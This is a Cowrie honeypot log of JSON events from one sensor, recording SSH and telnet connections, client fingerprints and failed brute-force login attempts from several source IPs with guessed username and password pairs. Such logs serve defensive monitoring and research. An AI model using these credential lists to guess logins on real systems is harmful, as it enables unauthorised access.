{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:23.530306Z","src_ip":"176.65.132.129","session":"b893551b83e6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:23.612945Z","src_ip":"176.65.132.129","session":"b893551b83e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1029384756","message":"login attempt [root/1029384756] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:23.868112Z","src_ip":"176.65.132.129","session":"b893551b83e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aaaaaa","message":"login attempt [root/aaaaaa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:24.028035Z","src_ip":"20.193.250.100","session":"68d810d07f7c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"13.71.92.229","src_port":60138,"dst_ip":"10.17.0.5","dst_port":22,"session":"0dd78b74a052","protocol":"ssh","message":"New connection: 13.71.92.229:60138 (10.17.0.5:22) [session: 0dd78b74a052]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:24.342363Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:24.348816Z","src_ip":"13.71.92.229","session":"0dd78b74a052","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:24.569493Z","src_ip":"13.71.92.229","session":"0dd78b74a052","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39080,"dst_ip":"10.17.0.5","dst_port":23,"session":"d8ece33836e0","protocol":"telnet","message":"New connection: 152.42.224.71:39080 (10.17.0.5:23) [session: d8ece33836e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:24.786744Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:24.957612Z","src_ip":"176.65.132.129","session":"b893551b83e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:25.173084Z","src_ip":"45.33.12.214","session":"4e677f94f0fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:25.233543Z","src_ip":"20.193.250.100","session":"68d810d07f7c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"adminsec1234","message":"login attempt [root/adminsec1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:25.449568Z","src_ip":"13.71.92.229","session":"0dd78b74a052","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":19739,"dst_ip":"159.203.135.109","dst_port":22,"session":"5bba07a07d08","protocol":"ssh","message":"New connection: 213.209.159.56:19739 (159.203.135.109:22) [session: 5bba07a07d08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:26.584895Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:26.589522Z","src_ip":"213.209.159.56","session":"5bba07a07d08","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:26.671388Z","src_ip":"13.71.92.229","session":"0dd78b74a052","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:26.675687Z","src_ip":"213.209.159.56","session":"5bba07a07d08","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":43256,"dst_ip":"159.203.135.109","dst_port":22,"session":"692db38703c5","protocol":"ssh","message":"New connection: 176.65.132.129:43256 (159.203.135.109:22) [session: 692db38703c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:26.792074Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:26.797481Z","src_ip":"176.65.132.129","session":"692db38703c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:26.971958Z","src_ip":"176.65.132.129","session":"692db38703c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rayne","password":"rayne","message":"login attempt [rayne/rayne] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:27.090412Z","src_ip":"213.209.159.56","session":"5bba07a07d08","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jack","password":"123456","message":"login attempt [jack/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:27.315259Z","src_ip":"176.65.132.129","session":"692db38703c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"82.152.132.24","src_port":39806,"dst_ip":"159.203.135.109","dst_port":22,"session":"a686a63dd9fd","protocol":"ssh","message":"New connection: 82.152.132.24:39806 (159.203.135.109:22) [session: a686a63dd9fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:28.035323Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:28.042969Z","src_ip":"82.152.132.24","session":"a686a63dd9fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:28.169885Z","src_ip":"82.152.132.24","session":"a686a63dd9fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rayne","password":"rayne1","message":"login attempt [rayne/rayne1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:28.178171Z","src_ip":"213.209.159.56","session":"5bba07a07d08","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:28.399997Z","src_ip":"176.65.132.129","session":"692db38703c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root@0101","message":"login attempt [root/root@0101] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:28.707789Z","src_ip":"82.152.132.24","session":"a686a63dd9fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rayne","password":"rayne123","message":"login attempt [rayne/rayne123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:29.264849Z","src_ip":"213.209.159.56","session":"5bba07a07d08","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.249.28.115","src_port":39006,"dst_ip":"159.203.135.109","dst_port":22,"session":"65cf8eec3cdc","protocol":"ssh","message":"New connection: 23.249.28.115:39006 (159.203.135.109:22) [session: 65cf8eec3cdc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:29.601961Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:29.606774Z","src_ip":"23.249.28.115","session":"65cf8eec3cdc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:29.797585Z","src_ip":"23.249.28.115","session":"65cf8eec3cdc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:29.836413Z","src_ip":"82.152.132.24","session":"a686a63dd9fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.198","src_port":52534,"dst_ip":"159.203.135.109","dst_port":22,"session":"0cc8b6508839","protocol":"ssh","message":"New connection: 103.75.182.198:52534 (159.203.135.109:22) [session: 0cc8b6508839]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:29.965736Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:29.975098Z","src_ip":"103.75.182.198","session":"0cc8b6508839","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":43264,"dst_ip":"159.203.135.109","dst_port":22,"session":"2e523d122ce6","protocol":"ssh","message":"New connection: 176.65.132.129:43264 (159.203.135.109:22) [session: 2e523d122ce6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:30.141879Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:30.147407Z","src_ip":"176.65.132.129","session":"2e523d122ce6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:30.218194Z","src_ip":"103.75.182.198","session":"0cc8b6508839","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:30.229465Z","src_ip":"176.65.132.129","session":"2e523d122ce6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rayne","password":"rayne1234","message":"login attempt [rayne/rayne1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:30.351100Z","src_ip":"213.209.159.56","session":"5bba07a07d08","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"1","message":"login attempt [postgres/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:30.476439Z","src_ip":"176.65.132.129","session":"2e523d122ce6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"testdummy","message":"login attempt [root/testdummy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:30.603338Z","src_ip":"23.249.28.115","session":"65cf8eec3cdc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"defender","message":"login attempt [root/defender] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:30.957012Z","src_ip":"103.75.182.198","session":"0cc8b6508839","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rayne","password":"rayne12345","message":"login attempt [rayne/rayne12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:31.438397Z","src_ip":"213.209.159.56","session":"5bba07a07d08","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:31.561308Z","src_ip":"176.65.132.129","session":"2e523d122ce6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:31.795736Z","src_ip":"23.249.28.115","session":"65cf8eec3cdc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54794,"dst_ip":"10.17.0.5","dst_port":23,"session":"2c7b17f48efe","protocol":"telnet","message":"New connection: 152.42.224.71:54794 (10.17.0.5:23) [session: 2c7b17f48efe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:31.930551Z"}
